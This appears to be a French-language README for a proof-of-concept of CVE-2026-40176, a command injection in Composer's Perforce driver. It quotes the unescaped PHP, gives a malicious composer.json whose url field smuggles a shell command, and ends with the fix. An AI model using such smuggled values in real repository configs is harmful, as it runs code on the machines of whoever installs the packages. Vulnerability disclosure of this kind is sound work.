
Exploit de preuve de concept pour CVE-2026-40176, une injection de commande OS dans le pilote Perforce VCS de Composer permettant l'exécution de code à distance via un fichier composer.json malveillant.
Ce dépôt est une preuve de concept (PoC) de la vulnérabilité critique d'injection de commande OS CVE-2026-40176 présente dans le pilote Perforce VCS de Composer. Cette vulnérabilité affecte les versions de Composer antérieures à 2.2.27 et 2.9.6.
La vulnérabilité se trouve dans la méthode Perforce::generateP4Command(). Lors de la construction de la commande shell, les valeurs de configuration du dépôt telles que url, p4user, client ne sont pas suffisamment assainies, ce qui permet à un attaquant, via un composer.json contrôlé, d'exécuter des commandes arbitraires au moment où la victime exécute composer install ou composer update.
Découvreur : saku0512 (GitHub)
Ce projet est destiné uniquement à des fins éducatives et à des tests de sécurité éthiques autorisés.
L'auteur décline toute responsabilité en cas d'utilisation abusive, de dommages ou d'activités illégales liés à cet outil. L'accès non autorisé à des systèmes informatiques est illégal. En utilisant ce logiciel, vous acceptez de n'effectuer des tests de sécurité que dans des environnements pour lesquels vous avez obtenu une autorisation explicite.
Dans la méthode generateP4Command() de src/Composer/Util/Perforce.php, la commande shell est construite en concaténant directement les chaînes provenant de la configuration du dépôt.
$p4Command = $this->getP4Executable().' ';
$p4Command .= '-u ' . $this->getUser() . ' '; // エスケープされていない
if ($useClient) {
$p4Command .= '-c ' . $this->getClient() . ' '; // エスケープされていない
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command; // エスケープされていない
Si ces valeurs contiennent des métacaractères shell tels que ;, &, |, ils sont interprétés par le shell, ce qui conduit à une injection de commande.
Assurez-vous que PHP est installé. Ce PoC reproduit la logique vulnérable interne de Composer.
# PHPのバージョン確認
php -v
Un attaquant peut créer un composer.json comme suit :
{
"repositories": [
{
"type": "perforce",
"url": "localhost:1666; touch /tmp/pwned_rce_confirmed #",
"depot": "depot"
}
],
"require": {
"some/package": "dev-master"
}
}
Le poc.php fourni reproduit la logique interne de génération et d'exécution de commandes des versions vulnérables de Composer.
# PoCを実行
php poc.php
Vérifiez si le fichier créé par la charge utile existe pour confirmer que la commande a été exécutée.
ls -l /tmp/pwned_rce_confirmed
# ファイルが存在する場合、RCEが成立したことを確認できます。
Mettez à jour Composer immédiatement vers la dernière version.
composer self-update
Le correctif applique ProcessExecutor::escape() à tous les arguments provenant de l'utilisateur pour empêcher leur interprétation par le shell.